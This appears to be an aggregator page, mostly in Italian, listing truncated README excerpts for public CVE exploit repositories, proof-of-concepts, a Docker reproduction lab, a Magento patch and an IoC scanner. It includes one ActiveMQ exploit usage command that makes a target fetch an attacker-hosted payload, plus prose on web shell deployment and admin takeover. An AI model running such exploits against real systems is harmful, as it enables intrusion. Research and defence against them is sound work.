CVE-2018-6574-go-get-RCE

Questo repository non contiene un README...

CVE-2024-53677-Docker

CVE-2024-53677 - Ambiente di riproduzione della vulnerabilità di esecuzione remota di codice RCE in Apache Struts 2 Questo repository fornisce un ambiente basato su Docker per riprodurre la vulnerabilità CVE-2024-53677 in Apache Struts 2. Questa vulnerabilità coinvolge un path traversal e consent...

ms08-067.py

📖 Panoramica Questo repository contiene alcune implementazioni in Python per la vulnerabilità MS08-067 del servizio Windows Server CVE-2008-4250. Si tratta di una classica vulnerabilità di esecuzione remota di codice che interessa sistemi Windows meno recenti. 🛠️ Installazione e Utilizzo...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Progetto di riferimento Questo progetto è una riscrittura in Python dell'exploit del progetto https://github.com/X1r0z/ActiveMQ-RCE. Utilizzo root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Il parametro -p è predefinito sulla porta predefinita d...

magento2-template-filter-patch

Patch del filtro template di Magento 2 per CVE-2022-24086, CVE-2022-24087 Patch di Magento 2 per CVE-2022-24086, CVE-2022-24087. Risolve la vulnerabilità RCE e i bug correlati eseguendo un escaping profondo delle variabili dei template. Se non puoi aggiornare Magento o non puoi applicare le patch...

magento2-template-filter-patch

Magento 2 Template Filter Patch for CVE-2022-24086, CVE-2022-24087 Magento 2 patch for CVE-2022-24086, CVE-2022-24087. Fix the RCE vulnerability and related bugs by performing deep template variable escaping. If you cannot upgrade Magento or cannot apply the official patches, try this one...

Openfire-RCE-CVE-2023-32315-

Questo repository non contiene un README...

CVE-2026-54420

CVE-2026-54420 LiteSpeed cPanel ⚡ Utilizzo Semplice Usa questo progetto solo in ambienti sicuri e autorizzati, come: Macchine virtuali locali Container Docker Configurazioni di laboratorio isolate Ambienti di test di penetrazione autorizzati Esempio di configurazione: root@kitploit: git clone cd ...

CVE-2026-45447

🚨 CVE-2026-45447 - Vulnerabilità Use-After-Free Critica di OpenSSL Use-After-Free nell'heap in PKCS7verify che causa corruzione della memoria, crash e potenziale esecuzione remota di codice. 📖 Riepilogo Esecutivo CVE-2026-45447 è una vulnerabilità critica nella funzionalità di verifica PKCS7 di...

cve-2025-55182-scanner

Scanner di Indicatori CVE-2025-55182 Questo repository fornisce uno scanner basato su Python per gli indicatori di compromissione relativi a CVE-2025-55182 React Server Components RCE e allo specifico malware multi-stadio descritto nel report dell'incidente Asleepace. È progettato per essere...

CVE-2021-22911-RocketChat

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE Improvised Beschreibung Nutzt eine Pre-Auth-NoSQL-Injection-Schwachstelle in Rocket.Chat 3.12.1 aus, um das TOTP-Geheimnis des Administrators und das Passwort-Reset-Token zu erlangen, das Admin-Konto zu übernehmen und über eine bösartige Webhook-Integration...

TimeInjector

TimeInjector Time injector è uno script di sfruttamento per CVE-2018-14714 in bash Per determinare se il target è vulnerabile, lo script funziona controllando prima se il target è accessibile e se può stabilire una sessione di login. Successivamente, verifica l'esistenza di pagine specifiche ed...

CVE-2024-28397-js2py-Sandbox-Escape

Introduzione Cinese js2py è un popolare pacchetto Python che consente di valutare codice JavaScript all'interno dell'interprete Python. Viene utilizzato da vari scraper web per analizzare il codice JavaScript presente sui siti web. C'è una vulnerabilità nell'implementazione delle variabili global...

CVE-2025-24813

🚨 CVE-2025-24813 – Exploit RCE JSP PUT di Apache Tomcat Questo repository contiene una prova di concetto PoC completa per CVE-2025-24813 , una vulnerabilità di esecuzione remota di codice RCE in Apache Tomcat che utilizza il metodo HTTP PUT per distribuire una web shell JSP dannosa. 🔥 Questo...

CVE-2021-41773

Apache 2.4.49 Path Traversal + Remote Code Execution CVE-2021-41773 Descrizione della vulnerabilità Questa vulnerabilità colpisce le versioni di Apache HTTP Server 2.4.49. Un errore nella validazione del path consente ad attaccanti remoti di effettuare un Path Traversal utilizzando sequenze come...

CVE-2024-40110

Sourcecodester Poultry Farm Management System v1.0 में बिना प्रमाणीकरण के रिमोट कोड निष्पादन के लिए प्रूफ ऑफ कॉन्सेप्ट PoC यह रिपॉजिटरी Sourcecodester Poultry Farm Management System v1.0 में एक बिना प्रमाणीकरण के रिमोट कोड निष्पादन RCE कमजोरी को प्रदर्शित करने वाली एक प्रूफ ऑफ कॉन्सेप्ट PoC...

CVE-2021-38163

CVE-2021-38163 - Vulnerabilità di desincronizzazione SAP NetWeaver AS Java Descrizione CVE-2021-38163 è una vulnerabilità di sicurezza in SAP NetWeaver Application Server AS Java che consente a un utente autenticato di caricare file arbitrari sul server, portando potenzialmente a esecuzione di...

CVE-2024-31114

CVE-2024-31114 - Exploit RCE per Shortcode Addons di WordPress Shortcode Addons = 3.2.5 – Upload arbitrario di file autenticato Admin+ ID CVE: CVE-2024-31114 Punteggio CVSS: 9.1 Critico 🛠️ Descrizione della vulnerabilità Il plugin Shortcode Addons – with Visual Composer, Divi, Beaver Builder, and...

CVE-2025-57833

CVE-2025-57833: Vulnerabilità di SQL Injection in Django Questo repository dimostra e spiega la CVE-2025-57833, una vulnerabilità critica di SQL injection nell'ORM di Django che interessa le versioni 4.2 precedenti alla 4.2.24, 5.1 precedenti alla 5.1.12 e 5.2 precedenti alla 5.2.6. 🚨 Panoramica...

CVE-2020-12078

CVE-2020-12078 L'exploit ufficiale per Open-AudIT v3.3.1 Remote Code Execution CVE-2020-12078...